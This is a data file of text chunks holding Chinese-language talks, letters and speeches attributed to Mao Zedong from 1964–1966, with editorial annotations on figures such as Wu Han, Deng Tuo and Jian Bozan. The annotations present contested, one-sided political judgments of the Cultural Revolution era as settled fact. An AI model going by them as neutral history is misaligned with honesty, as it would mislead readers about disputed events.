帝国主义有时通过它的走狗教育人民，如中国的蒋介石。我们这些人就是受过蒋介石教育的，他用内战的办法教会我们打仗。像我这样的一个人，从前并不会打仗，甚至连想也没有想到过要打仗，可是帝国主义的走狗强迫我拿起武器。现在，非洲正在发生战争，如刚果 〔1〕 、安哥拉和葡属几内亚 〔2〕 等地。阿尔及利亚打了八年仗，才取得独立。在苏伊士运河也打过仗 〔3〕 。你们是在第二次世界大战期间，因为法国人被迫退却而取得了独立的，是这样的吗？ 我们在外表上样子不同，宗教信仰也不一样。我应当说明我是不信教的，但是这并不妨碍我们的合作。我小时候信过多神教，长大后就不信了。中国也有上帝，但是同你们的上帝不同，穿的是中国服装。我们互相帮助，互相支持，互不损害对方。我们不颠覆你们，你们也不颠覆我们。我们是友好国家，有共同目标，第一是反对帝国主义，第二是建设国家。 哪个地方发生革命，我们就支持。帝国主义非常恨我们，说我们好战。其实，任何国家的问题，只有当地人民起来革命，才能解决。外界支持是必要的，但是它只占第二位。比如南越，人口只有一千四百万，可是人民打得很好。 阿拉伯民族是有战斗性的，如果你们团结起来，帝国主义的阴谋就不可能得逞。应当说，各个民族都是有战斗性的，团结斗争，就能胜利，只是个时间问题。我们国家革命胜利经历了二十二年战争，先同国内敌人作战，并进行了长征，后同日本帝国主义作战，最后同美国支持的蒋介石反动派作战。这期间，我们自己也犯错误，犯过右倾机会主义错误和“左”倾机会主义错误。纠正了错误，我们就胜利。人总是要犯错误的，一个政党同一个人一样，完全不犯错误是不可能的。 许多例子证明帝国主义是可以打败的，革命是可以胜利的。 注 释 * 这是毛泽东同志同叙利亚访华友好代表团谈话的主要部分。 〔1〕 刚果，这里的刚果指的是首都金萨沙现简称刚果（金）的刚果民主共和国，曾改名扎伊尔。不是首都在布拉柴维尔那个简称为刚果（布）的刚果共和国。 〔2〕 葡属几内亚，今几内亚比绍共和国。 〔3〕 指苏伊士运河事件。苏伊士运河位于埃及的东北部，是连接地中海和红海的国际通航运河。它处于欧、亚、非三洲交界地带的要冲，战略地位十分重要。一八六九年正式通航后，英、法两国垄断了苏伊士运河公司的绝大部分股份，每年从中获得巨额利润，英国还在运河地区建立了海外最大的军事基地。第二次世界大战后，埃及人民为收回苏伊士运河的主权进行了不懈的斗争。一九五六年七月二十六日，埃及政府宣布将苏伊士运河公司收归国有。中国政府及世界许多国家的政府和领导人发表声明，支持埃及的正义行动。同年十月，英、法和以色列发动侵略埃及的战争，妄图重新夺取运河，结果遭到失败。"},
    {"text": "把医疗卫生工作的重点放到农村去 把医疗卫生工作的重点 放到农村去 * （一九六五年六月二十六日） 告诉卫生部，卫生部的工作只给全国人口的百分之十五工作，而这百分之十五中主要还是老爷。广大农民得不到医疗。一无医生，二无药。卫生部不是人民的卫生部，改成城市卫生部或城市老爷卫生部好了。 医学教育要改革，根本用不着读那么多书，华陀 〔1〕 读的是几年制？明朝李时珍 〔2〕 读的是几年制？医学教育用不着收什么高中生、初中生，高小毕业生学三年就够了。主要在实践中学习提高，这样的医生放到农村去，就算本事不大，总比骗人的医生与巫医的要好，而且农村也养得起。书读得越多越蠢。现在那套检查治疗方法根本不适合农村，培养医生的方法，也是为了城市，可是中国有五亿多农民。 脱离群众，工作把大量人力、物力放在研究高、深、难的疾病上，所谓尖端，对于一些常见病，多发病，普遍存在的病，怎样预防，怎样改进治疗，不管或放的力量很少。尖端的问题不是不要，只是应该放少量的人力、物力，大量的人力、物力应该放在群众最需要的问题上去。还有一件怪事，医生检查一定要戴口罩，不管什么病都戴。是怕自己有病传染给别人？我看主要是怕别人传染给自己。要分别对待嘛！什么都戴，这首先造成医生与病人的隔阂。 城市里的医院应该留下一些毕业后一年、二年的本事不大的医生，其余的都到农村去。四清到六五年扫尾，基本结束了，可是四清结束，农村的医疗、卫生工作没结束啊！把医疗卫生工作的重点放到农村去嘛！ 注 释 * 这是毛泽东同志在一九六五年六月二十六日同医务人员的谈话纪要。 〔1〕 华佗：东汉时期著名医家，医术精湛，成为后世神医代名词。 〔2〕 李时珍：李时珍（约一五一八年——一五九三年），字东璧，晚年自号濒湖山人。蕲州（今湖北省黄冈市蕲春县蕲州镇）人，生于蕲州亦卒于蕲州。李时珍是中国明朝也是中国历史上最著名的医学家、药学家和博物学家之一，其所著的《本草纲目》是本草学集大成的著作，对后世的医学和博物学研究影响深远。"},
    {"text": "人民给政府饭吃，吃了饭就要为人民服务 人民给政府饭吃， 吃了饭就要为人民服务 * （一九六五年八月八日） 毛泽东主席：你们是从几内亚来的？"},
    {"text": "法廸亚拉：我是在一九六〇年来的，当时我参加了亚非拉法律工作者代表团，我很高兴也很荣幸地访问过中国，当时受到了主席的接见，我还保存着接见时的照片，这张照片是很好的纪念。"},
    {"text": "法廸亚拉：我是在总统进行国事访问离开中国几天后参加亚非拉法律工作者代表团来中国访问的，随后我又和韩幽桐 〔3〕 同志和她的爱人一起参加了索非亚国际法律工作者会议。"},
    {"text": "把战犯改造成为对社会有用的人，需要动员人民，把司法机关和人民结合起来，我们两国的问题是相同的，当然其结果是你们取得了很大的成功，而我们现在还在试验阶段。"},
    {"text": "譬如劳改工厂、劳改农场就不能以生产为第一，就要以政治改造为第一。 要做人的工作，要在政治上启发人的觉悟，发挥他的积极性，劳改工厂、劳改农场就会办得更好。"},
    {"text": "一开始，你们是以政治斗争为主，武装斗争为辅，我们赞成。 到了第二阶段，你们是政治斗争和武装斗争同时进行，我们也赞成。 第三阶段，你们是以武装斗争为主，政治斗争为辅，我们又赞成了。"},
    {"text": "一九五五年四月二十三日，周恩来总理在亚非会议八国代表团团长会议上声明：中国政府愿意同美国政府谈判，讨论和缓远东紧张局势问题，特别是和缓台湾地区紧张局势问题。"},
    {"text": "〔3〕 日内瓦协议，指一九五四年四月二十六日至七月二十一日在瑞士日内瓦召开的讨论和平解决朝鲜问题和恢复印度支那和平问题的国际会议。"},
    {"text": "朝鲜北南双方及美、英、法以外的其他十二个侵略朝鲜北方的国家参加了朝鲜问题的讨论，越南民主共和国、老挝、柬埔寨和南越政权参加了印度支那问题的讨论。"},
    {"text": "关于恢复印度支那和平问题，分别达成关于在印度支那三国停止敌对行动的协定和《日内瓦会议最后宣言》（总称日内瓦协议），实现了印度支那的停战。"},
    {"text": "突出政治，反对折衷主义 突出政治，反对折衷主义 * （一九六五年十二月二日） 我认为这是突出政治和反对突出政治的斗争深入发展到一个新的阶段。"},
    {"text": "他们学得比较聪明了，但是他们又不愿意突出政治，不愿放弃单纯业务观点这根“腊肉骨头” 〔1〕 ，不是突出政治，形势逼人，于是就改头换面，来个折衷主义。"},
    {"text": "在政治和业务关系上，有三种摆法：第一种摆法是政治第一，业务第二，政治统帅业务； 第二种摆法是业务第一，政治第二，政治为业务服务； 第三种摆法，政治和业务都第一，叫两个第一。 这三种摆法，第一种是正确的，第二种是错误的，这很明显。 第三种摆法是正确的还是错误的？"},
    {"text": "但是马克思主义者认识事物的两个方面，并不是把它们看作都一样，各占一半，半斤八两，而是严格地把它们分为主要的方面和次要的方面，分为重点和一般，主流和支流。"},
    {"text": "他们把事物的两方面，矛盾的两方面平列起来，等同起来，不分第一和第二，不分主要和次要，不分主流和支流，结果就掩盖了事物真相，模糊了事物的本质，使人在工作中分不清是非界限，把人们引到错误的路上。"},
    {"text": "马克思主义认为政治与军事、政治与经济、政治与业务、政治与技术的关系，政治总是第一，政治总是统帅，政治总是头，政治总是率领军事，率领经济、率领业务、率领技术的。"},
    {"text": "把政治和业务并列起来，或者主张轮流坐庄的思想和看法，这些人认为既要突出政治，又要突出业务，“今年突出政治，明年突出业务”，“闲时突出政治，忙时突出业务”等等。"},
    {"text": "折衷主义惯用的手法，就是把各种对立的观点，对立的名词，对立的事物，无原则地结合起来。 这种无原则的结合就是混合，就是调和，就是折衷主义。"},
    {"text": "例如现代修正主义主张社会主义和帝国主义这两个对立的体系和平共处、和平竞赛，主张取消军队，主张不要斗争，主张资本主义国家共产党不搞武装斗争，不叫工人罢工，不叫农民斗地主，而搞什么和平过渡等。"},
    {"text": "从这里我们可以看出，折衷主义就是修正主义，修正主义是不要斗争，不要革命的。 折衷主义不分敌我，不分是非，就是斗争的调和论和混合论。"},
    {"text": "你们浙江不是有这样一件事，有一个地主分子表现得很不老实，一个党员职工批评了这个地主分子，这件事经理知道了，经理就找这个党员谈话，批评这个党员说：“地主分子本来就想国民党，你这样一斗他，他就更想国民党，以后不要斗了。 ”这个经理好人主义讲人情，看到别人有缺点，见到有损害党和国家利益的事，明知不对也不批评，不斗争，听之任之。"},
    {"text": "例如列宁在《国家与革命》这篇文章里批评折衷主义的时候说：“把马克思主义改为机会主义的时候，用折衷主义冒充辩证法是最容易欺骗群众的。"},
    {"text": "” 如有人说：“我既不是单纯业务观点，也不是单纯的政治观点，在我那个单位既突出政治，也突出业务，只有业务和政治都突出，这才是全面观点。 光强调突出政治或者突出业务都是片面的。"},
    {"text": "因为它把政治与军事，政治与经济，政治与业务，政治与技术的关系搞错了，把灵魂抽去了，其结果就一定是：小则是单纯的业务观点，大则陷入修正主义的泥坑。"},
    {"text": "凡是有折衷主义观点与倾向的人们，他们都有一个共同之点，这就是从他们思想深处来说，是反对突出政治的，他们不是把突出政治放在第一位。"},
    {"text": "〔1〕 腊肉骨头：我国四川、湖南、湖北、江西等省，都有过年腌制腊肉的习俗，在冬天腊月把猪肉腌制起来，吃完肉后就剩下腊肉骨头，后指“吃起来没肉，丢了可惜”，同“鸡肋”。"},
    {"text": "上面要靠党的领导，下面要靠广大群众 上面要靠党的领导， 下面要靠广大群众 * （一九六五年十二月二十一日） 今后的几十年对祖国的前途和人类的命运是多宝贵而重要的时期！现在二十岁的青年，再过二、三十年是四、五十岁的人，我们这一代青年人，将亲手把我们一穷二白的祖国建设成为伟大的社会主义强国，将亲手参加埋葬帝国主义的战斗，任重而道远。有志气有抱负的中国青年，一定要为完成我们伟大历史使命而奋斗终身，为完成我们伟大的历史使命，我们这一代要下决心一辈子艰苦奋斗！ 政治工作要走群众路线，单靠首长不行，你能管这么多吗？许多事你们看不到的，你只能看到一部分。所以要发动人人负责，人人开口，人人鼓动、人人批评。每个人都长着眼睛和嘴，就应该让他们去看，让他们去说。群众的事情由群众来办理就是民主，这里有两条路线，一条是单靠个人来办，一条是发动群众来办。我们的政治是群众的政治、民主的政治要靠大家来治，而不是靠少数人来治，一定要发动人人开口。每个人既然长了嘴巴，就要负担两个责任，一个是吃饭，一个是说话。在坏事情坏作风面前，就要说话，就要负起斗争的责任来。 没有党的领导，单靠首长个人来领导，事情一定办不好，一定要靠党和同志们来办事，而不是靠个人来办，群众要发动，要形成群众动手动口的风气。上面要靠党的领导，下面要靠广大群众，这样才能把事情办好。 注 释 * 这是毛泽东同志在杭州会议上与陈伯达、艾思奇 〔1〕 等同志的谈话。 〔1〕 艾思奇（一九一〇年——一九六六年），我国著名的马克思主义哲学家、教育家和革命家，原名李生萱，哲学家。云南腾冲人，蒙古族后裔。“艾思奇”的名字是从英文SH（其英文转写ShengHsuen）得到灵感，并成为自己的笔名，时任中国科学院哲学社会科学部委员，著作有《大众哲学》、《哲学与生活》、《艾思奇文集》，主编有《辩证唯物主义与历史唯物主义》等，毛泽东对他所做的贡献给予了极高的评价，称他是“党的理论战线上的忠诚战士”。 文化大革命时期 文化大革命时期"},
    {"text": "关于农业机械化——备战备荒为人民 关于农业机械化 ——备战备荒为人民 * （一九六六年三月十二日） 少奇同志： 三月十一日信 〔1〕 收到。小计委 〔2〕 派人去湖北，同湖北省委共同研究农业机械化五年、七年、十年的方案，并参观那里自力更生办机械化的试点，这个意见很好。建议各中央局、各省市区党委也各派人去湖北共同研究。有七天至十天时间即可以了。回去后，各做一个五、七、十年计划的初步草案，酝酿几个月，然后在大约今年八九月间召开的工作会议上才有可议。若事前无准备，那时议也恐怕议不好的。此事以各省、市、区自力更生为主，中央只能在原材料等等方面，对原材料等等不足的地区有所帮助，也要由地方出钱购买，也要中央确有原材料储备可以出售的条件，不能一哄而起，大家伸手。否则推迟时间，几年后再说。为此，原材料（钢铁），工作母机，农业机械，凡国家管理、地方制造、超出国家计划远甚者（例如超出一倍以上者），在超过额内，准予留下三成至五成，让地方购买使用。此制不立，地方积极性是调动不起来的。为了农业机械化，多产农林牧副渔等品类，要为地方争一部分机械制造权。所谓一部分机械制造权，就是大超额分成权，小超额不在内。一切统一于中央，卡得死死的，不是好办法。又此事应与备战、备荒、为人民联系起来，否则地方有条件也不会热心去做。 第一是备战，人民和军队总得先有饭吃有衣穿，才能打仗，否则虽有枪炮，无所用之。 第二是备荒，遇了荒年，地方无粮棉油等储蓄，仰赖外省接济，总不是长久之计。一遇战争，困难更大。而局部地区的荒年，无论哪一个省内常常是不可避免的。几个省合起来看，就更加不可避免。 第三是国家积累不可太多，要为一部分人民至今口粮还不够吃、衣被甚少着想；再则要为全体人民分散储备以为备战备荒之用着想；三则更加要为地方积累资金用之于扩大再生产着想。 所以，农业机械化，要同这几方面联系起来，才能动员群众，为较快地但是稳步地实现此种计划而奋斗。苏联的农业政策，历来就有错误，竭泽而渔，脱离群众，以致造成现在的困境，主要是长期陷在单纯再生产坑内，一遇荒年，连单纯再生产也保不住。我们也有过几年竭泽而渔（高征购）和很多地区荒年保不住单纯再生产的经验，总应该引以为戒吧。现在虽然提出了备战、备荒、为人民（这是最好地同时为国家的办法，还是“百姓足，君孰与不足” 〔3〕 的老话）的口号，究竟能否持久地认真地实行，我看还是一个问题，要待将来才能看得出是否能够解决。苏联的农业不是基本上机械化了吗？是何原因至今陷于困境呢？此事很值得想一想。 以上几点意见，是否可行，请予酌定。又小计委何人去湖北，似以余秋里、林乎加 〔4〕 二同志去为宜。如果让各中央局、各省市区党委也派人去的话，似以管农业书记一人计委一人去为宜。总共也只有大约七十人左右去到那里开一个七天至十天的现场会。是否可行，亦请斟酌。 注 释 * 这是毛泽东同志就农业机械化问题致刘少奇的信。 〔1〕 指刘少奇一九六六年三月十一日给毛泽东的信。信中说：中共湖北省委关于逐步实现农业机械化设想的文件和主席的批语，已印发给政治局、书记处各同志，并发给包括计委、经委在内的各有关部委及华北局有关同志研究。在有各在京副总理参加的中央常委会上谈了这个问题，大家意见，要小计委就这个问题对有关各方面情况先摸一摸，提出一个方案，中央再来讨论，并要提交下一次中央工作会议加以讨论，以使各地方的努力更加符合实际。周恩来同志已要小计委派人到湖北，同省委共同研究他们提出的方案，先在湖北进行试验。刘少奇当时主持中央一线工作。 〔2〕 小计委，是一九六五年初毛泽东决定成立、由周恩来直接领导的一个工作机构，主要任务是研究经济和社会发展战略问题，拟定第三个五年计划的方针任务等。后来在编制第三个五年计划过程中，由小计委实际主持国家计委的工作。 〔3〕 见《论语·颜渊》。 〔4〕 余秋里（一九一四——一九九九），江西吉安人，时任国家计划委员会第一副主任兼秘书长、小计委负责人。林乎加，一九一六年生，山东长岛人，当时是小计委成员。"},
    {"text": "在中央政治局常委扩大会议上的讲话 在中央政治局 常委扩大会议上的讲话 * （一九六六年三月二十日） （一）关于不参加苏共二十三大 苏联二十三大我们不参加了。"},
    {"text": "比如解放战争时期，中央什么也没有，没有一个人、一粒粮、一颗子弹，只有来源于你们的实践经验，根据你们打胜仗打败仗的经验，出点精神。"},
    {"text": "一九五三年七月二十六日，卡斯特罗领导发动反对巴蒂斯塔独裁政权的武装起义，失败后被捕，在法庭上发表了举世闻名的辩护词《历史将宣判我无罪》。"},
    {"text": "中苏论战时，古巴保持中立，其实，卡斯特罗在内心对赫鲁晓夫的和平共处路线不满，对苏联国内的经济改革看不惯，认为是革命的蜕化，在这些问题上他和毛泽东倒是完全一致。"},
    {"text": "但古巴经济严重依赖于苏联（古巴这个当时仅七百万人口的小国最多时从苏联获得的收益相当于每年人均四百美元），不得不最终站到了苏联一边，卡斯特罗一九六五年三月发表演讲点名批评中共是“修正主义者”，两党关系中断，两国间也恶感日盛。"},
    {"text": "毛泽东起初主张“豺狼当道，安问狐狸”，认为苏联才是危险的“豺狼”，而像古巴不过是“狐狸”，应该“分化瓦解、多多争取”，此后便认为古巴也变成了“豺狼”，后公开予以批判。"},
    {"text": "” 〔2〕 郭沫若，时任中国科学院院长，文学、史学界权威。 范文澜，著名历史学家，时任中国史学会副会长，中国科学院哲学社会科学部委员，中国科学院近代史研究所所长，主编《中国通史简编》，并长期从事该书的修订工作。"},
    {"text": "〔3〕 一九五八年，史学届爆发了以“厚今薄古”为口号的“史学革命”，唯物史观和阶级斗争学说成为历史研究的指导理论，经过知识分子思想改造运动，传统的旧史学被整个地翻了案，几千年来被剥削阶级颠倒了的历史终于被再颠倒过来了。"},
    {"text": "范文澜为二保论者（即保“王朝体系”，保“帝王将相”）。 范老在一篇未刊稿中指出：所谓“二保论”，一是按中国历史上朝代作为顺序编写历史；"},
    {"text": "……长期积累下来的历史资料，经过剥削阶级史学家的加工、整理、选择、淘汰、删节和阐释，就必然注入其阶级偏见，字里行间无不充满强烈的阶级性。"},
    {"text": "” “批判封建的、资产阶级的史学思想，进行史学革命，是一件关系重大的事情。 史学革命是社会主义革命的一个组成部分，是在千百万人民群众中彻底清除封建的、资产阶级的思想影响的问题。 封建的、资产阶级的史学思想是资本主义复辟的一种潜在力量，只有彻底进行史学革命，才能把它清除。"},
    {"text": "〔9〕 罗尔纲：著名历史学家，太平天国史研究专家，曾在一九六四年八月三日《人民日报》发表《忠王李秀成投降实为苦肉缓兵之计》，认为太平天国忠王李秀成是假投降曾国藩。 李秀成被清军俘获后，五、六天时间内写了三万多字的“自述”，后人命名《忠王李秀成自述》，其中多称颂曾国藩、曾国荃兄弟，希望他们收降部众，“不计是王是将，不计何处之人，求停刀勿杀，赦其死罪，给票给资，放其他行”，屈节求生，向曾国藩表示愿意招降太平军余部，所写笔供中有“收复军部，而酬高厚”之语，被俘十七天后，曾国藩还是把他杀了。"},
    {"text": "〔10〕 戚本禹在一九六五年十二月《红旗》杂志发表《为革命而研究历史》，批判了翦伯赞“超阶级”的“历史主义”观点，文章说： “没有超阶级的历史研究。"},
    {"text": "他们的阶级利益同人民群众的利益是那样地不调和，同社会发展的要求是那样地不一致，因此，他们不可能认识历史的真象，而且要歪曲历史真象。"},
    {"text": "趴在历史故纸堆上，踏着前代历史学家的脚印，亦步亦趋地去进行历史研究，势必要变成前代历史学家的俘虏，替他们去宣扬那些陈旧的、与时代精神相背离的观点。"},
    {"text": "” 戚本禹在一九六三年《历史研究》第四期发表了戚本禹《评李秀成自述——并与罗尔纲、梁岵庐、吕集义等先生的商榷》一文，文章根据李秀成自述，提出，李秀成“形容自己是‘骑在虎背，不得下骑’”，“做了元帅以后的李秀成并没有保持他艰苦朴素的作风”。"},
    {"text": "“忠王府是个未完的工程，几千个工人长期建筑了三年多，到苏州陷落时仍未竣工”，“李鸿章见了忠王府也不禁叹道：‘琼楼玉宇，曲栏洞房，真如神仙窟宅’”，“同一时代，同一种历史条件，却存在着两种截然不同的人物。"},
    {"text": "一种人宁死不屈，慷慨赴义，另一种人投降变节，屈膝媚敌”，断定李秀成是真投降，“认贼作父”，《人民日报》在一九六四年七月二十四日做了摘要转载，毛泽东看了戚的文章后，专门调读了《忠王李秀成自述》影印本，写下批语：“白纸黑字，铁证如山；"},
    {"text": "” 〔11〕 姚文元：时任上海《解放日报》的编委，一九六五年十一月十日在上海《文汇报》发表《评新编历史剧〈海瑞罢官〉》，文章说，吴晗身为明史专家却不惜歪曲历史史实编造出一个完美形象的假海瑞，剧中的“退田”和“平冤狱”都不是史实，历史上的“退田”是为了缓和阶级矛盾保护了一些中小地主和富农，而剧中却说成是保护贫雇农，历史上退休内阁首辅徐阶的儿子徐瑛只被判处充军，也不是海瑞判的，而剧中却说海瑞“下了决心，把徐瑛处死”，身为共产党员不去提倡阶级斗争，却去鼓吹“清官救民”的封建论调，把剧中的贫雇农说成是只会恳求“大老爷与我等作主”，向海瑞叩头高呼“大老爷为民作主，江南贫民今后有好日子过了！ ”，很明显，吴晗是用自己的资产阶级观点改造了这个人物： “海瑞不过是地主阶级中一位较有远见的人物，他忠于封建制度，是封建皇朝的“忠臣”。"},
    {"text": "他看到了当时农民阶级同地主阶级尖锐矛盾的某些现象，看到了当时本阶级内部某些腐化现象不利于皇朝统治，为了巩固封建统治、削弱农民反抗、缓和尖锐的阶级矛盾，为了维护封建皇朝的根本利益，他敢于向危害封建皇朝利益的某些集团或者某些措施进行尖锐的斗争。 在若干事情上，他同中小地主和富农利益一致，抑制豪强地主，目的还是为了巩固整个地主阶级对农民的专政，维护皇朝的利益。"},
    {"text": "” “如果在新编的历史剧中，能够真正贯彻历史唯物主义的原则，用阶级观点，对这类史料进行科学分析，去伪存真，按照海瑞的本来面貌去塑造这个人物，使观众看到他的阶级本质是什么，用历史唯物论的观点去认识历史人物的阶级面貌，也不是一件没有意义的事。"},
    {"text": "而且变本加厉，把他塑造成一个贫苦农民的“救星”、一个为农民利益而斗争的胜利者，要他作为今天人民的榜样，这就完全离开了正确的方向。"},
    {"text": "大家知道，一九六一年，正是我国因为连续三年自然灾害而遇到暂时的经济困难的时候，在帝国主义、各国反动派和现代修正主义一再发动反华高潮的情况下，牛鬼蛇神们刮过一阵“单干风”、“翻案风”。"},
    {"text": "那些在旧社会中为劳动人民制造了无数冤狱的帝国主义者和地富反坏右，他们失掉了制造冤狱的权利，他们觉得被打倒是“冤枉”的，大肆叫嚣什么“平冤狱”，他们希望有那么一个代表他们利益的人物出来，同无产阶级专政对抗，为他们抱不平，为他们“翻案”，使他们再上台执政。"},
    {"text": "” “阶级斗争是客观存在，它必然要在意识形态领域里用这种或者那种形式反映出来，在这位或者那位作家的笔下反映出来，而不管这位作家是自觉的还是不自觉的，这是不以人们意志为转移的客观规律。"},
    {"text": "〔13〕 “虚君共和”，毛泽东认为中央高度集权不利于社会主义事业,并提出了“虚君共和”的构想.这一构想在文化大革命中的彻底贯彻,建构了中国计划体制中的中央高度集权,形成地方政府成为经济活动主体的体制,从而使中国的计划经济体制有别于苏联模式。"},
    {"text": "〔14〕 托拉斯：二十世纪六十年代初期,主持一线工作的刘少奇建议试办托拉斯（垄断企业），一九六四年二月二十六日，煤炭工业部向中央提出在徐州成立华东煤炭工业公司，试办托拉斯，四月三十日得到中共中央批准，我国试办的第一个托拉斯企业正式成立。 一九六四年六月，国家经委在反复调查研究的基础上，草拟了《关于试办工业、交通托拉斯的意见报告（草稿）》，获得批准，一九六四年和一九六五年共全国试办了十六个全国性和区域性托拉斯，但试办过程中遇到一些问题，主要有三大方面：全国或跨地区的托拉斯与地方的矛盾，托拉斯内部统一经营与的所属企业分级管理的矛盾，托拉斯同原有经济管理体制的矛盾。"},
    {"text": "〔15〕 二十三条：一九六四年底到一九六五年一月，中央政治局召集全国工作会议，在毛泽东的主持下讨论制定了《农村社会主义教育运动中目前提出的一些问题》（共“二十三条”），将“四清”的内容规定为清政治、清经济、清组织、清思想，强调这次运动的性质是解决“社会主义和资本主义的矛盾”，提出这次运动的重点是整“党内那些走资本主义道路的当权派。"},
    {"text": "” 〔16〕 南粮北调：北方的山西、河北、山东、河南、陕西、内蒙古、辽宁等省区及北京地区战略位置十分重要，但这些地区无一例外地都要调入粮食，江浙、两广、两湖一带南方自然条件好,粮食生产充足。 国家长期实行南粮北调政策，进口的粮食也主要是接济这些地区。"},
    {"text": "这是在华北平原上一项宏大的农田基本建设，国家在计划中给予资金补助，并提供设备材料，受到广大农民的热烈拥护。 文革中，华北大地上打了近二百万眼机电井，一亿多亩耕地提取地下水灌溉，大大改变了十年九旱的农业生产条件，加上化肥工业的发展，使粮食产量大幅度增长，扭转了中国历史上长期的南粮北调局面。"},
    {"text": "〔18〕 俞平伯：著名红学家，与胡适并称“新红学派”的创始人，解放前二十年代即已成名，一九二三年俞平伯出版《红楼梦辩》，考证出《红楼梦》原书只有前八十回是曹雪芹所作，后四十回是高鹗续作，但他对红楼梦的研究是资产阶级唯心论的，毛泽东对《红楼梦》不仅喜欢，而且颇有研究，也堪称是一位红学家，对于《红楼梦》，毛泽东用阶级分析的方法进行评判，俞平伯用实用主义哲学进行研究，毛泽东认为《红楼梦》描写了很精细的历史、有丰富的社会史料，俞平伯认为《红楼梦》不过是个人身世性格的反映；"},
    {"text": "毛泽东认为《红楼梦》是古典现实主义小说，俞平伯认为《红楼梦》的性质与中国式的闲书相似； 毛泽东认为《红楼梦》是中国古典小说中写得最好的，俞平伯认为《红楼梦》在世界文学中的位置是不高的。"},
    {"text": "对中宣部和北京市委的批评 对中宣部和北京市委的批评 * （一九六六年三月、四月） （一）一九六六年三月十七日到二十日的谈话 我们在解放以后，对知识分子实行包下来的政策，有利也有弊。"},
    {"text": "（二）一九六六年三月二十八日到三十日的谈话 八届十中全会作出了进行阶级斗争的决定 〔3〕 ，吴晗发表这么多文章，从不要打招呼，从不要经过批准，姚文元的文章为什么偏偏要打招呼 〔4〕 ？"},
    {"text": "那些包庇反共知识分子的人就是学阀，包庇吴晗、翦伯赞这些“中学阀”的人是“大学阀”，扣压左派的稿件，包庇右派的大学阀，中宣部是“阎王殿”。"},
    {"text": "三年困难时期后，为走出困境，中央上层在农村工作上存在两个方向，毛泽东坚决主张巩固和壮大集体经济，刘少奇、陈云、邓小平、邓子恢（农村工作部部长）则坚持分田到户和包产，陈云在一九六二年七月六日面见毛泽东，提出“分田到户不会产生两极分化，不会影响征购，恢复只要四年，否则八年”，对此毛泽东没有盲信，经过详细调查研究后，在一九六二年八月十五日北戴河中心小组会议上，关于农业恢复时间问题，毛泽东说：“瞎指挥我们不干了，高征购改正了，农业恢复的时间会快一些，恐怕再有两年差不多了，主要是今明两年，六四年扫尾。"},
    {"text": "当时刘邓陈邓三个常委都对困难估计得过高，没有看到积极方面，对人民公社失去信心，想退回到到个体的小农经济，后来，陈云曾致信毛泽东，承认自己犯了错误，幸亏主席坚持了正确的方向。"},
    {"text": "两极分化快得很，帝国主义从存在的第一天起，就对中国这个大市场弱肉强食，今天他们在各个领域更是有优势，内外一夹攻，到时候我们共产党怎么保护老百姓的利益，保护工人、农民的利益？"},
    {"text": "邓子恢未向中央请示在中央党校和军队系统多次作报告阐述和传播包产到户主张，不仅工作犯错，而且违反组织纪律，一九六二年十一月九日,中共中央下达《关于撤销中共中央农村工作部的决定》。"},
    {"text": "〔2〕 邓拓：任中共北京市委书记处书记兼任中共华北局书记处候补书记，分管思想文化战线工作，主编北京市委理论刊物《前线》，拒绝在北京转载《评新编历史剧“海瑞罢官”》。 邓拓一九五七年曾主持《人民日报》工作，反对鸣放，一九五七年四月十日，毛泽东当面批评了他，“过去我说你是书生办报，不对，应当说是死人办报。 ”后被调离《人民日报》，邓拓怀恨在心，在与胡绩伟一次谈话中，攻击毛泽东“翻手为云，覆手为雨，自己讲过的话，可以翻脸不认账”，这种思想反映在《伟大的空话》、《专治健忘症》等《前线》的杂文中。"},
    {"text": "《剑桥中华人民共和国史》是世界上极具影响的国外研究中国历史的权威著作，代表了西方的观点，其中也指出，“邓拓——另一个曾撰文影射毛的领导的北京市官员。"},
    {"text": "” 〔3〕 关于阶级斗争的决定：指一九六二年九月二十四日至二十七日在北京举行的中共八届十中全会发布的公报，“八届十中全会指出，在无产阶级革命和无产阶级专政的整个历史时期，在由资本主义过渡到共产主义的整个历史时期（这个时期需要几十年，甚至更多的时间）存在着无产阶级和资产阶级之间的阶级斗争，存在着社会主义和资本主义这两条道路的斗争。"},
    {"text": "同时，社会上还存在着资产阶级的影响和旧社会的习惯势力，存在着一部分小生产者的自发的资本主义倾向，因此，在人民中，还有一些没有受到社会主义改造的人，他们人数不多，只占人口的百分之几，但一有机会，就企图离开社会主义道路，走资本主义道路。"},
    {"text": "” 〔4〕 打招呼：一九六六年三月十一日，中宣部常务副部长许立群根据彭真的意见在电话中向上海市委宣传部负责人杨永直责问发表姚文元的文章为什么不向中宣部打招呼，彭真说，“过去上海发姚文元的文章，连个招呼都不打，上海市委的党性到哪里去了？"},
    {"text": "” 〔5〕 五人小组：一九六四年七月，中共中央成立了一个“五人小组”，在中央政治局、书记处领导下开展文化革命方面的工作，组长彭真（中共中央北京市委第一书记），副组长陆定一（国务院副总理，中宣部长兼文化部长），成员有康生（中共中央书记处书记），周扬（中宣部副部长），吴冷西（新华社社长兼《人民日报》社社长）。"},
    {"text": "一九六六年二月十二日，《文化革命五人小组关于当前学术讨论的汇报提纲》（后被称为《二月提纲》）批转全党时，才出现“文化革命五人小组”这个名词。"},
    {"text": "〔6〕 去年九月：中共中央于一九六五年九月十八日至十月十二日在北京举行工作会议，在会议期间，十月十日，毛泽东同大区第一书记谈了话，提出要战备。"},
    {"text": "〔7〕 三家村：北京市委刊物《前线》在一九六一年九月二十日开设《三家村札记》杂文专栏，由吴晗、邓拓、廖沫沙三人轮流撰稿，吴晗出“吴”字，邓拓出“南”字（笔名“马南村”），廖沫沙出“星”（笔名“繁星”），统一署名“吴南星”。"},
    {"text": "〔8〕 西风落叶下长安：唐朝诗人贾岛在《忆江上吴处士》中有一名句，“秋风生渭水，落叶满长安”，毛泽东同志在一九六三年一月九日写过一首《满江红·和郭沫若同志》： 小小寰球，有几个苍蝇碰壁。"},
